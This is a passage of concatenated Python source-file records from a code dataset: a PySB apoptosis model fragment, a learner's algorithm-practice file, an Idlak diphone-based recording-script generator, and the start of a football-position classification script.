lopez_modules\nlopez.declare_initial_conditions()\nlopez.translocate_tBid_Bax_BclxL()\nlopez.tBid_activates_Bax_and_Bak()\nlopez.tBid_binds_all_anti_apoptotics()\nlopez.sensitizers_bind_anti_apoptotics()\nlopez.effectors_bind_anti_apoptotics()\nlopez.lopez_pore_formation(do_pore_transport=True)\n\n# From albeck_modules\nalbeck.pore_to_parp()\n\n# From irvin_modules\nirvin.rip1_to_parp()\n#irvin.C3_inhibits_MLKL()\n\n# Observables\nirvin.observables()\n\n\n\n\"\"\"\n    line 273: inserted. from pysb.macros import catalyze_state\n    line 277: catalyze is changed to catalyze_state because C6 has 'bf1' instead of\n    binding site 'bf'. \n    line 286: inserted. from pysb.macros import bind as bind2 earm.shared contains\n    a bind function\n    line 287and 288 replaced activation of C8 with: \n    bind2(C6(bf1 = None, bf2 = None, state = 'A'), 'bf1', proC8(bDED = None), 'bDED', [kf51, kr51])\n    bind2(C6(bf1 = ANY, bf2 = None, state = 'A'), 'bf2', proC8(bDED = None), 'bDED', [kf52, kr52])\n    Rule('C8_activation_byC6', C6(bf1 = ANY, bf2 = ANY, state = 'A')%proC8(bDED = ANY)%proC8(bDED = ANY) >> C8(bf = None, state = 'A') + C6(bf1=None, bf2=None, state = 'A'), kc52)\"\"\"\n\n","sub_path":"anrm/irvin_AN_crosstalk.py","file_name":"irvin_AN_crosstalk.py","file_ext":"py","file_size_in_byte":7723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"333384392","text":"# def getNthFib(n, memo = {}):\n# \tif n in memo:\n# \t\treturn memo[n]\n\n# \tif n == 1:\n# \t\treturn 0\n# \telif n == 2:\n# \t\treturn 1\n# \telse: \n# \t\tmemo[n] = getNthFib(n - 1) + getNthFib(n - 2)\n# \t\treturn memo[n]\n\n\n# print(getNthFib(50))\n\n# def getNthFib(n, memo = {1: 0, 2: 1}):\n# \tif n in memo:\n# \t\treturn memo[n]\n# \telse:\n# \t\tmemo[n] = getNthFib(n - 1) + getNthFib(n - 2)\n# \t\treturn memo[n]\n\n# print(getNthFib(50))\n\n# time O(2^n) without meomoize\n# space O(n) -- recursion call stack without memoize\n# time O(n) with memoize\n# space O(n) with memoize\n# if using memoize with base cases, can store base cases in memo hash\n\n# def getNthFib(n):\n# \tlastTwo = [0, 1]\n# \tcounter = 3\n\n# \twhile counter <= n:\n# \t\tnextFib = lastTwo[0] + lastTwo[1]\n# \t\tlastTwo[0] = lastTwo[1]\n# \t\tlastTwo[1] = nextFib\n# \t\tcounter += 1\n\n# \treturn lastTwo[1] if n > 1 else lastTwo[0]\n\n# print(getNthFib(50))\n\n# time O(n)\n# space O(1)\n\n# def bubbleSort(array):\n# \tisSorted = False\n\t\n# \twhile not isSorted:\n# \t\tisSorted = True\n\t\t\n# \t\tfor i in range(0, len(array) - 1):\n# \t\t\tif array[i] > array[i + 1]:\n# \t\t\t\tarray[i], array[i +1] = array[i +1], array[i]\n# \t\t\t\tisSorted = False\n# \treturn array\n\n# time O(n^2)\n# space O(1)\n\n# def insertionSort(array):\t\n# \tfor i in range(1, len(array)):\n# \t\tj = i \n# \t\twhile j > 0 and array[j] < array[j - 1]:\n# \t\t\tswap(j, j - 1, array)\n# \t\t\tj -= 1\n\t\n# \treturn array\n\n# def swap(i, j, arr):\n# \tarr[i], arr[j] = arr[j], arr[i]\n\n# time O(n^2) unless already sorted O(n)\n# space O(1)\n\n# def caesarCipherEncryptor(string, key):\n# \talpha = list(\"abcdefghijklmnopqrstuvwxyz\")\n# \tnewStr = []\n# \tfor i in range(0, len(string)):\n# \t\tif i == ' ':\n# \t\t\tnewStr.append(' ')\n# \t\telse:\n# \t\t\toldIdx = alpha.index(string[i])\n# \t\t\tnewIdx = (oldIdx + key) % 26\n# \t\t\tnewStr.append(alpha[newIdx])\n\t\n# \treturn ''.join(newStr)\n\n# SYNTAX\n# time O(n)\n# space O(n)\n\n# def selectionSort(array):\n# \tfor i in range(0, len(array)):\n# \t\tsIdx = i\n\t\t\n# \t\tfor j in range(i + 1, len(array)):\n# \t\t\tif array[sIdx] > array[j]:\n# \t\t\t\tsIdx = j\n\t\t\t\n# \t\tswap(sIdx, i, array)\n\t\t\n# \treturn array\n\n# def swap(i, j, arr):\n# \tarr[i], arr[j] = arr[j], arr[i]\n\n\n# def insertionSort(array):\t\n# \tfor i in range(1, len(array)):\n# \t\tj = i \n# \t\twhile j > 0 and array[j] < array[j - 1]:\n# \t\t\tarray[j], array[j - 1] = array[j - 1], array[j]\n# \t\t\tj -= 1\n\t\n# \treturn array\n\n# def swap(i, j, arr):\n# \tarr[i], arr[j] = arr[j], arr[i]\n\n\n# def findThreeLargestNumbers(array):\n# \tlarge = [None, None, None]\n# \tfor n in array:\n# \t\tupdate(large, n)\n# \treturn large\n\n# def update(large, num):\n# \tif large[2] is None or large[2] < num:\n# \t\tshift(large, num, 2) \n# \telif large[1] is None or large[1] < num:\n# \t\tshift(large, num, 1)\n# \telif large(0) is None or large[0] < num:\n# \t\tshift(large, num , 0)\n\n# def shift(large, num , idx):\n# \tfor i in range(idx +1):\n# \t\tif i == idx:\n# \t\t\tarray[i] = num\n# \t\telse\n# \t\t\tarray[i] = array[i + 1]\n\t\t\t\n\n\n# space O(1)\n# time O(n)\n\n# class Node:\n#     def __init__(self, value):\n#         self.value = value\n#         self.prev = None\n#         self.next = None\n\n# class DoublyLinkedList:\n#     def __init__(self):\n#         self.head = None\n#         self.tail = None\n\n#     def containsNodeWithValue(self, value):\n# \t\tnode = self.head\n# \t\twhile node is not None and node.value != value:\n# \t\t\tnode = node.next\n# \t\treturn node is not None   \n\n#     def remove(self, node):\n# \t\tif node = self.head:\n# \t\t\tself.head = self.head.next\n# \t\tif node = self.tail:\n# \t\t\tself.tail = self.tail.prev\n# \t\tself.removeNodeBindings(node)\n\n# \tdef removeNodeBindings(node):\n# \t\tif node.prev is not None:\n# \t\t\tnode.prev.next = node.next\n# \t\tif node.next is not None:\n# \t\t\tnode.next.prev = node.prev\n# \t\tnode.next = None\n# \t\tnode.prev = None\n\n#     def removeNodesWithValue(self, value):\t\t\n# \t\tnode = self.head\n# \t\twhile node is not None:\n# \t\t\ttemp = node\n# \t\t\tnode = node.next\n# \t\t\tif temp.value == value:\n# \t\t\t\tself.remove(temp)\t\t\n\n# \tdef insertNodeBefore(self, node, nodeToInsert):\n# \t\tif self.head == nodeToInsert and self.tail == nodeToInsert:\n# \t\t\treturn\n# \t\tself.remove(nodeToInsert)\n# \t\tnodeToInsert.next = node\n# \t\tnodeToInsert.prev = node.prev\n# \t\tif node.prev is None:\n# \t\t\tself.head = nodeToInsert\n# \t\telse:\n# \t\t\tnode.prev.next = nodeToInsert\n# \t\tnode.prev = nodeToInsert\t\n\t\t\n#     def insertAfter(self, node, nodeToInsert):\n# \t\tif self.head == nodeToInsert and self.tail == nodeToInsert:\n# \t\t\treturn\n# \t\tself.remove(nodeToInsert)\n# \t\tnodeToInsert.prev = node\n# \t\tnodeToInsert.next = node.next\n# \t\tif node.next is None:\n# \t\t\tself.tail = nodeToInsert\n# \t\telse:\n# \t\t\tnode.next.prev = nodeToInsert\n# \t\tnode.next = nodeToInsert\n\n#     def setHead(self, node):\n# \t\tif self.head is None:\n# \t\t\tself.head = node\n# \t\t\tself.tail = node\n# \t\t\treturn\n# \t\tself.insertBefore(self.head, node)\n\n#     def setTail(self, node):\n# \t\tif self.head is None:\n# \t\t\tself.setHead(node)\n# \t\tself.insertAfter(self.tail, node)\n\n# \t    def insertAtPosition(self, position, nodeToInsert):\n# \t\tif position == 1:\n# \t\t\tself.setHead(nodeToInsert)\n# \t\t\treturn\n\t\t\t\n# \t\tnode = self.head\n# \t\tcurrentNode = 1\n\t\t\n# \t\twhile node is not None and currentNode != position:\n# \t\t\tnode = node.next\n# \t\t\tcurrentNode += 1\n# \t\tif node is not None:\n# \t\t\tself.insertBefore(node, nodeToInsert)\n# \t\telse: \n# \t\t\tself.setTail(nodeToInsert)\t\n\n\n# def bSearch(arr, tar):\n# \treturn bSearchHelper(arr, tar, 0, len(arr) - 1)\n\n# def bSearchHelper(arr, tar, left, right):\n# \tif left > right:\n# \t\treturn -1\n\n# \tmid = (left + right) // 2\n# \tpMatch = arr[mid]\n\n# \tif tar == pMatch:\n# \t\treturn mid\n# \telif tar < pMatch:\n# \t\treturn bSearchHelper(arr, tar, 0, mid - 1)\n# \telif tar > pMatch:\n# \t\treturn bSearchHelper(arr, tar, mid + 1, right)\n\n# def binarySearch(array, target):\n# \tleft = 0\n# \tright = len(array) - 1\n\t\n# \twhile left <= right:\n# \t\tmid = (left + right) // 2\n# \t\tpMatch = array[mid]\n# \t\tif target == pMatch:\n# \t\t\treturn mid\n# \t\telif target < pMatch:\n# \t\t\tright = mid - 1\n# \t\telif target > pMatch:\n# \t\t\tleft = mid + 1\n# \treturn -1\n\n\n# print(binarySearch([1,2,3,4,5,7,7,10], 11))\n\n# print('hi')\n\n\n# class Node:\n# \tdef __init__(self, name):\n# \t\tself.children = []\n# \t\tself.name = name\n\n# \tdef addChild(self, name):\n# \t\tself.children.append(Node(name))\n# \t\treturn self\n\n# \tdef depthFirstSearch(self, array):\n# \t\tarray.append(self.name)\n# \t\tfor child in self.children:\n# \t\t\tchild.depthFirstSearch(array)\n# \t\treturn array\n\n# O(logn) n is # of nodes in tree\n# O(n) worst case if tree is one branch\n# space O(d) depth of recursion \n\n# def findClosestValueInBst(tree, target):\n# \treturn helper(tree, target, float(\"inf\"))\n\n# def helper(tree, target, closest):\n# \tif tree is None:\n# \t\treturn closest\n# \tif abs(target - closest) > abs(target - tree.value):\n# \t\tclosest = tree.value\n# \tif target < tree.value:\n# \t\treturn helper(tree.left, target, closest)\n# \telif target > tree.value:\n# \t\treturn helper(tree.right, target, closest)\n# \telse:\n# \t\treturn closest\n\n# def findClosestValueInBst(tree, target, closest = float(\"inf\")):\n# \tcurrNode = tree\n# \twhile currNode is not None:\n# \t\tif abs(target - closest) > abs(target - currNode.value):\n# \t\t\tclosest = currNode.value\n# \t\tif target < currNode.value:\n# \t\t\tcurrNode = currNode.left\n# \t\telif target > currNode.value:\n# \t\t\tcurrNode = currNode.right\n# \t\telse:\n# \t\t\tbreak\n# \treturn closest\n\n# # iterative is O(1) space \n\n# def branchSums(root):\n# \tsums = []\n# \tcalculateBranchSums(root, 0, sums)\n# \treturn sums\n\n# def calculateBranchSums(node, runningSum, sums):\n# \tif node is None:\n# \t\treturn\n\t\n# \tnewRunningSum = runningSum + node.value\n# \tif node.left is None and node.right is None:\n# \t\tsums.append(newRunningSum)\n# \t\treturn\n\t\t\n# \tcalculateBranchSums(node.left, newRunningSum, sums)\n# \tcalculateBranchSums(node.right, newRunningSum, sums)\t\n\n\n# def groupAnagrams(words):\t\n# \tgroups = {} #O(WN) Space\n\t\n# \tfor word in words:  #O(N) Time\n# \t\tsortedWord = \"\".join(sorted(word)) #O(Wlog(W) Time\n# \t\tif sortedWord in groups:\n# \t\t\tgroups[sortedWord].append(word)\n# \t\telse:\n# \t\t\tgroups[sortedWord] = [word]\n\t\t\t\n# \treturn groups.values() \n\n\n# def foo(arr, tar): \n# \treturn sorted(arr, key = lambda x: x == tar)\n\nx = [1,2,3,4,5,6]\ny = len(x) - 1\n# print(y)\n\n\n\n# x[0], x[1] = x[1], x[0]\n\n# print(x)\n\n\n\n# MoveElementToEnd\n\n# def moveElementToEnd(array, toMove):\n# \tswapIdx = None\n# \tfor i in range(len(array)):\n# \t\tif toMove == array[i]:\n# \t\t\tswapIdx = i\n# \t\telse:\n# \t\t\tif swapIdx is not None:\n# \t\t\t\tarray[swapIdx], array[i] = array[i], array[swapIdx]\n# \t\t\t\tswapIdx = i\n# \treturn array\n\n# DOESN'T WORK FOR SOME EDGE CASES\n\n# def moveElementToEnd(array, toMove):\n# \tleft = 0\n# \tright = len(array) - 1\n\n# \twhile left < right:\n# \t\tif array[left] == toMove:\n# \t\t\tif array[right] != toMove:\n# \t\t\t\tarray[left], array[right] = array[right], array[left]\n# \t\t\telse: \n# \t\t\t\tright -= 1\n# \t\telse:\n# \t\t\tleft += 1\n\n# \treturn array\n\n\n# print(moveElementToEnd([2,1,2,2,3,4,2], 2))\n\n# def maxSubsetSumNoAdjacent(array):\n# \tif len(array) == 0:\n# \t\treturn 0\n\n# \tfirst = array[0]\n# \tsecond = array[1]\n\t\n\n# \tif len(array) % 2 == 0:\n# \t\tlastIdx = len(array) - 1\n# \t\tif array[lastIdx] > array[lastIdx - 1]:\n# \t\t\tswap(lastIdx, lastIdx - 1, array)\n# \t\t\tarray.pop()\n\n# \tfor i in range(2, len(array)):\n# \t\tif i % 2 == 0:\n# \t\t\tfirst += array[i]\n# \t\telse:\n# \t\t\tsecond += array[i]\n\n# \treturn max(first, second)\n\n# def swap(i, j, array):\n# \tarray[i], array[j] = array[j], array[i]\n\n# def maxSubsetSumNoAdjacent(array):\n# \tif not len(array):\n# \t\treturn 0\n# \telif len(array) == 1:\n# \t\treturn array[0]\n\n# \tsecond = array[0]\n# \tfirst = max(array[0], array[1])\n\n# \tfor i in range(2, len(array)):\n# \t\tcurrent = max(first, second + array[i])\n# \t\tsecond = first \n# \t\tfirst = current\n# \treturn first\n\n# x = [75, 105, 120, 75, 90, 135]\n\n# print(maxSubsetSumNoAdjacent(x))\n\n    \n# def moveElementToEnd(array, toMove):\n# \tleft = 0 \n# \tright = len(array) -1\n\n# \twhile left < right:\n# \t\tif array[left] == toMove:\n# \t\t\tif array[right] != toMove:\n# \t\t\t\tarray[left], array[right] = array[right], array[left]\n# \t\t\telse:\n# \t\t\t\tright -= 1\n# \t\telse:\n# \t\t\tleft += 1\n# \treturn array\n\n# print(moveElementToEnd([2,1,2,2,3,4,2], 2))\n\n# def maxAdjSum(array):\n# \tif not len(array):\n# \t\treturn 0\n# \telif len(array) == 1:\n# \t\treturn array[0]\n\n# \tfirst = array[0]\n# \tsecond = max(array[0], array[1])\n\n# \tfor i in range(2, len(array)):\n# \t\tcurrent = max(second, first + array[i])\n# \t\tfirst = second\n# \t\tsecond = current\n# \treturn second\n\n# x = []\n\n# print(maxAdjSum(x))\n\n# def smallestDifference(arrayOne, arrayTwo):\n\t# idxOne = 0\n\t# idxTwo = 0\n\t# arrayOne.sort()\n\t# arrayTwo.sort()\n\t# diff = float('inf')\n\t# curr = float('inf')\n\t# pair = []\n\t\n\t# while idxOne < len(arrayOne) and idxTwo < len(arrayTwo):\n\t# \tfirstNum = arrayOne[idxOne]\n\t# \tsecondNum = arrayTwo[idxTwo]\n\t\t\n\t# \tif firstNum < secondNum:\n\t# \t\tcurr = secondNum - firstNum\n\t# \t\tidxOne += 1\n\t# \telif firstNum > secondNum:\n\t# \t\tcurr = firstNum - secondNum\n\t# \t\tidxTwo +=1\n\t# \telse:\n\t# \t\treturn [firstNum, secondNum]\n\t# \tif diff > curr:\n\t# \t\tdiff = curr\n\t# \t\tpair =[firstNum, secondNum]\n\t\t\t\n\t# return pair\n\ngarden = [\n\t\t[5, 7, 8, 6, 3],\n\t\t[0, 0, 7, 0, 4], \n\t\t[4, 6, 3, 4, 9], \n\t\t[3, 1, 0, 5, 8]\n\t]\n\n\ndef hungryRabbit(array):\n\trabbit = start(array) # [row, col]\n\tmonch(array, rabbit)\n\n\n\n\n\t# START\n\t#grab greatest center value \n\t#if length or height are even\n\t#key into array at int(len(array) / 2)\n\t#compare 2 or 4 values for starting point\n\n# def start(array):\n\n\t# row1, col1, row2, col2 = None, None, None, None\n\n\t# if len(array) % 2 == 1:\n\t# \trow1 = int(len(array) / 2)\n\t# else:\n\t# \trow1 = int(len(array) / 2)\n\t# \trow2 = int((len(array) / 2) - 1)\n\n\t# if len(array[0]) % 2 == 1:\n\t# \tcol1 = int(len(array[0]) / 2)\n\t# else:\n\t# \tcol1 = int(len(array[0]) / 2)\n\t# \tcol2 = int((len(array[0]) / 2) - 1)\n\n\n\t# square1, square2, square3, square4 = array[row1][col1], array[row1][col2], array[row2][col1], array[row2][col2]\n\t# greatest = max(square1, square2, square3, square4)\n\t# if square1 == greatest:\n\t# \treturn [row1, col1]\n\t# elif square2 == greatest:\n\t# \treturn [row1, col2]\n\t# elif square3 == greatest:\n\t# \treturn [row2, col1]\n\t# elif square4 == greatest:\n\t# \treturn [row2, col2]\n\n\ndef monch(array, start):  #start is also an array\n\thungry = True\n\tstartRow = start[0]\n\tstartCol = start[1]\n\tcarrotSum = array[startRow][startCol]\n\tcurrentSquare = start\n\tdirections = [[0, 1], [1, 0], [-1, 0], [0, -1]]\n\t\n\twhile hungry == True:\n\t\tnextSquareVal = float(\"-inf\")\n\t\tfor direction in directions:\n\t\t\trow = currentSquare[0] + direction[0]\n\t\t\tcol = currentSquare[1] + direction[1]\n\n\t\t\tif row >= 0 and row < len(array) and col >= 0 and col < len(array[0]):\n\t\t\t\tif array[row][col] > nextSquareVal:\n\t\t\t\t\tnextSquareVal = array[row][col]\n\t\t\t\t\tcurrentSquare = [row, col]\n\t\t\telif nextSquareVal == 0:\n\t\t\t\thungry = False\n\t\tcarrotSum += nextSquareVal\n\treturn carrotSum\n\n\n\t# TRAVERSE\n\t#create direction array \n\t#interate through direction array and check \n\t#values of surrounding squares, save highest value and direction unless index num is less than 0\n\t#update running sum and current position\n\t#if all surrounding values are NULL or 0 return final sum\n\ndef start(array):\n\trow_options = [len(garden) // 2, len(garden) // 2]\n\tcol_options = [len(garden[0]) // 2, len(garden[0]) // 2]\n\n    # If even, 1st option is one less than half the length\n\tif len(garden) % 2 == 0:\n\t\trow_options[0] -= 1\n\n\tif len(garden[0]) % 2 == 0:\n\t\tcol_options[0] -= 1\n\n\tmax = 0\n\trow = None\n\tcol = None\n\n\tfor r_option in row_options:\n\t\tfor c_option in col_options:\n\t\t\tif garden[r_option][c_option] > max:\n\t\t\t\tmax = garden[r_option][c_option]\n\t\t\t\trow = r_option\n\t\t\t\tcol = c_option\n\n\treturn row, col\n\ndef hungry_rabbit_util(garden, row, col):\n\tmax = 0\n\tnext_row = None\n\tnext_col = None\n\n\tfor r, c in [[-1, 0], [1, 0], [0, -1], [0, 1]]:\n\t\tif row + r >= 0 and row + r < len(garden) and \\\n\t\t\t\tcol + c >= 0 and col + c < len(garden[row]):\n\t\t\tif garden[row + r][col + c] > max:\n\t\t\t\tmax = garden[row + r][col + c]\n\t\t\t\tnext_row = row + r\n\t\t\t\tnext_col = col + c\n\n\tcarrots = garden[row][col]\n\tgarden[row][col] = 0\n\n\tif max > 0 and next_row is not None and next_col is not None:\n\t\tcarrots += hungry_rabbit_util(garden, next_row, next_col)\n\n\treturn carrots\n\ndef hungry_rabbit(garden):\n    if len(garden) == 0 or len(garden[0]) == 0:\n        return 0\n\n    # create a copy of the garden so we can mutate it\n    copy = [g_row[:] for g_row in garden]\n    row, col = start(copy)\n\n    if row is None or col is None:\n        return 0\n\n    return hungry_rabbit_util(copy, row, col)\n\n# print(hungry_rabbit(garden))\n\n# for x in [[-1, 0], [1, 0], [0, -1], [0, 1]]:\n# \tprint(x)\n\t\ndef maxNonAdjSum(array):\n\tif not len(array):\n\t\treturn 0\n\telif len(array) == 1:\n\t\treturn array[0]\n\n\tfirst = array[0]\n\tsecond = max(array[0], array[1])\n\n\tfor i in range(2, len(array)):\n\t\tcurrent = max(second, first + array[i])\n\t\tfirst = second\n\t\tsecond = current\n\n\treturn second\n\n\n# x = [75, 105, 120, 75, 90, 135]\n\n# print(maxNonAdjSum(x))\n\n\n# John works at a clothing store. He has a large pile of socks that he must\n# pair by color for sale. Given an array of integers representing the color of \n# each sock, determine how many pairs of socks with matching colors there are.\n\n# For example, there are\n# socks with colors . There is one pair of color and one of color . There are \n# three odd socks left, one of each color. The number of pairs is .\n\ndef sockMerchant(n, ar):\n    pairCount = 0\n    colorCount = {}\n\n    for color in ar:\n        if color not in colorCount:\n            colorCount[color] = 1\n        else:\n            colorCount[color] += 1\n\n    for key in colorCount:\n        pairCount += (colorCount[key] // 2)\n\n    return pairCount\n\n\n# Gary is an avid hiker. He tracks his hikes meticulously, paying close attention \n# to small details like topography. During his last hike he took exactly steps. \n# For every step he took, he noted if it was an uphill, , or a downhill, step. \n# Gary's hikes start and end at sea level and each step up or down represents a\n\n# unit change in altitude. We define the following terms:\n\n#     A mountain is a sequence of consecutive steps above sea level, starting with \n# \ta step up from sea level and ending with a step down to sea level.\n\n#     A valley is a sequence of consecutive steps below sea level, starting with \n# \ta step down from sea level and ending with a step up to sea level.\n\n# Given Gary's sequence of up and down steps during his last hike, find and print \n# the number of valleys he walked through.\n\n# For example, if Gary's path is\n# , he first enters a valley units deep. Then he climbs out an up onto a mountain \n# units high. Finally, he returns to sea level and ends his hike.\n\ndef countingValleys(n, s):\n    valleys = 0\n    level = 0\n    for step in s:\n        if step == 'U':\n            level += 1\n            if level == 0:\n                valleys += 1\n        elif step == 'D':\n            level -= 1\n    return valleys\n\n# a = [1,2,3,4,5]\n# print(a[:2])\n\nclass Node():\n\tdef __init__(self, value):\n\t\tself.value = value\n\t\tself.prev = None\n\t\tself.next = None\n\n# node1 = Node(2)\n# print(node1)\n\n# print(node1.value)\n# print(node1.next)\n# print(node1.prev)\n\n\n","sub_path":"p3.py","file_name":"p3.py","file_ext":"py","file_size_in_byte":16953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"346575400","text":"\"\"\"\nThis script takes an idlak database structured as specified (github.com/idlak/idlak-resources) and parses\nall of its sentences through the front-end of Idlak. From the resulting xml-file, phone-information per sentence\nis converted into diphone information and stored with a sentence-id.\n\nA diphone wishlist is made which contains every diphone present in the database and how often it occurs.\nThis information is used to pick sentences iteratively that add the most, new uncommon diphones.\n\"\"\"\n\n# TODO: make cleaner script\n# TODO: make python2 compatible\n# TODO: limit sentence length for script\n\n\nimport operator\nimport subprocess\nfrom lxml import etree\nimport logging\nimport argparse\nimport re\nimport os\nimport json\n\n\nlogging.basicConfig(filename='example.log',level=logging.DEBUG)\n\n\nparser = argparse.ArgumentParser(description='Specify location for temporary file storage and of the Wikipedia dump'\n                                             'to generate an xml file in Idlak structure ')\nparser.add_argument('idlak_path', nargs='+', help=\"specify idlak path\")\nparser.add_argument('language', nargs='+', help=\"specify language code you're working with\")\nparser.add_argument('dialect', nargs='+', help=\"specify dialect code of language you're working with\")\nparser.add_argument('database_path', nargs='+', help=\"specify database file path\")\nargs = parser.parse_args()\n\n\ndef get_txp_input(idlak_database):\n    \"\"\"\n    Takes idlak database returns file path to the converted database ready for the ./idlaktxp\n    :param idlak_database: xml database in idlak format\n    :return: path of idlaktxp-ready file\n    \"\"\"\n    tree = etree.parse(idlak_database)\n    string = ''\n    for child in tree.getroot():\n        string += re.sub(r'[\\n\\r]', ' ', re.sub(r'[<>]', '', child[0].text))\n    # new_out = ''\n    # for line in string.splitlines():\n    #     if len(line.split()) > 5:\n    #         if not re.match(r'^\\s*$', line):\n    #             new_out += line + '\\n'\n    final_string = '<parent>\\n' + string + '</parent>'\n    with open('idlak_input.xml', 'w') as outfile:\n        outfile.write(final_string)\n    return os.path.abspath('idlak_input.xml')\n\n\ndef get_txp_output(txp_input, idlak_location, language, dialect):\n    \"\"\"\n    takes location of idlak and xml input file as well as a language and dialect code to generate an output xml with\n    the phonetic specification of all the text in the input file.\n    :param txp_input: path of xml input file\n    :param idlak_location: path of idlak installation\n    :param language: language code\n    :param dialect: accent/dialect code\n    :return: path of generated output\n    \"\"\"\n    current_loc = os.getcwd()\n    cmd1 = 'cd {}/src/idlaktxpbin'.format(idlak_location)\n    cmd2 = \"./idlaktxp --tpdb=../../idlak-data --general-lang={} --general-acc={} {} {}/output.xml\".format(\n        language, dialect, txp_input, current_loc)\n    subprocess.call(\"{}; {}\".format(cmd1, cmd2), shell=True)\n\n    return os.getcwd() + '/output.xml'\n\n\ndef sentence_dict_gen(xml_file):\n    \"\"\"\n    Takes an idlaktxp output file and retrieves utterance-id and the utterance. A dictionary with these two elements\n    is returned.\n    :param xml_file: path of idlaktxp output file\n    :return: dict with utterance-id as key and utterance as value\n    \"\"\"\n    tree = etree.parse(xml_file)\n    sentences = {}\n    for child in tree.getroot():\n        if 5 <= len([element for phrase in child.iter(\"spt\") for element in phrase.iter(\"tk\")]) <= 16:\n            string = ''\n            for phrase in child.iter(\"spt\"):\n                len(phrase.getchildren())\n                for element in phrase.iter(\"tk\"):\n                    try:\n                        string += element.text + ' '\n                    except TypeError as e:\n                        print(e)\n                    #  logging.info(string)\n            sentences[child.get(\"uttid\").zfill(8)] = string\n    return sentences\n\n\ndef phone_dict_gen(xml_file):\n    \"\"\"\n    Takes an idlaktxp output file and retrieves utterance-id and the utterance phones. These phones are converted into\n    diphones. A dictionary with these two elements is returned.\n    :param xml_file: path of idlaktxp output file\n    :return: dict with utterance-id as key and utterance diphones as value\n    \"\"\"\n    tree = etree.parse(xml_file)\n    sent_diphones = {}\n    for child in tree.getroot():\n        if 5 <= len([element for phrase in child.iter(\"spt\") for element in phrase.iter(\"tk\")]) <= 16:\n            phones = ['silbb']\n            for phrase in child.iter(\"spt\"):\n                for element in phrase.iter(\"tk\"):\n                    phones.extend(element.get(\"pron\").split())\n                phones.append('silb')\n            phones[-1] = 'silbb'\n            diphones = ['_'.join(phones[i:i + 2]) for i in range(len(phones) - 1)]\n            sent_diphones[child.get(\"uttid\").zfill(8)] = diphones\n    return sent_diphones\n\n\ndef diphone_wishlist_gen(diphone_dict):\n    \"\"\"\n    Take a dictionary with sentences and diphones and construct a diphone wishlist\n    :param diphone_dict: dict with diphones of each sentence\n    :return: dict with diphone and frequency count\n    \"\"\"\n    diphone_wishlist = {} # dictionary with diphones\n    for k, v in diphone_dict.items():\n        for type in v:  # making the wishlist for diphones\n            if type in diphone_wishlist:\n                diphone_wishlist[type] += 1\n            else:\n                diphone_wishlist[type] = 1\n    with open('wishlist_out.txt', 'w') as out:\n        out.write(json.dumps(sorted(diphone_wishlist.items(), key=lambda x: x[1]), indent=4))\n    return diphone_wishlist\n\n\ndef script_generator(sentences_dict, sentence_diphone_dict, diphone_wishlist, number_of_sentence):\n    \"\"\"\n    Generates a script with the most phonetically rich sentences.\n    Rarer diphones are prioritised over more common ones.\n    :param sentences_dict: Sentence keys with sentences as values\n    :param sentence_diphone_dict: Sentence keys with diphones of each sentence as values\n    :param diphone_wishlist: Diphone wishlist with diphone as key and number of time it occurs in the sentences as value\n    :param number_of_sentence: The number of sentences the script should contain\n    :return: Dictionary with 'best' sentences for the script\n    \"\"\"\n    dict_final = {}\n    for n in range(number_of_sentence):  # need to ensure the script doesn't fail when this range is higher\n                                        # than sentence_diphone_dict.items()\n        score_dict = {}\n        discores ={}\n        for k, v in sentence_diphone_dict.items():\n            discores[k]=[]\n            score = 0\n            for i, diphone in enumerate(v):\n                try:\n                    score += 1 / diphone_wishlist[diphone]\n                    individual_score = 1 / diphone_wishlist[diphone]\n                    discores[k].extend([diphone, individual_score])\n                except:\n                    pass\n                score2 = score / len(v)\n                score_dict[k] = score2\n        best = max(score_dict.items(), key=operator.itemgetter(1))[0]  # finding max value in dict\n        best_sentence = sentences_dict[best]  # actual sentence\n        logging.info(best_sentence+\" (\"+str(score_dict[best])+\")\"+\"\\n\"+str(discores[best])+\"\\n\")  # write score to log\n        # print('phones left: ', len(diphone_wishlist))\n        for diphone in sentence_diphone_dict[best]:\n            try:\n                diphone_wishlist.pop(diphone)\n            except:\n                pass\n        dict_final[str(n).zfill(5)] = best_sentence\n        sentence_diphone_dict.pop(best)\n    return dict_final\n\n\nif __name__ == \"__main__\":\n    txp_input = get_txp_input('database-nl.xml')\n    txp_output = get_txp_output(txp_input, args.idlak_path[0], args.language[0], args.dialect[0])\n\n    sentences = sentence_dict_gen(txp_output)\n    sent_phones = phone_dict_gen(txp_output)\n    wishlist = diphone_wishlist_gen(sent_phones)\n    script = script_generator(sentences, sent_phones, wishlist, 30)\n\n    subprocess.run(['rm', '-R', 'script.txt'])\n\n    with open(\"script.txt\", 'w') as final_inventory:\n        for k, v in script.items():\n            string = k + ': ' + v + '\\n'\n            final_inventory.write(string)\n","sub_path":"idlak-misc/script_gen/script_gen.py","file_name":"script_gen.py","file_ext":"py","file_size_in_byte":8224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"464911384","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Apr 24 14:07:10 2018\r\n\r\n@author: jaide\r\n\"\"\"\r\n\r\nimport sqlite3 \r\nimport pandas as pd\r\nimport numpy as np\r\nimport sklearn\r\nimport os\r\nimport matplotlib.pyplot as plt\r\nimport datetime\r\nfrom IPython import get_ipython\r\nget_ipython().run_line_magic('matplotlib', 'inline')\r\n\r\n\r\nX_train=pd.read_csv('C:\\\\Users\\\\jaide\\\\Downloads\\\\training set_new1.csv')\r\nX_test=pd.read_csv('C:\\\\Users\\\\jaide\\\\Downloads\\\\test set_new1.csv')\r\npos_dict = {'for': 3, 'mid': 2, 'def': 1, 'gk': 0}\r\nX_train.loc[:, 'position'] = X_train.loc[:, 'position'].map(pos_dict)\r\nX_test.loc[:, 'position'] = X_test.loc[:, 'position'].map(pos_dict)\r\ny_train=X_train.position\r\ny_test=X_test.position\r\n\r\nX_train=X_train.drop('Unnamed: 0',axis=1)\r\nX_test=X_test.drop('Unnamed: 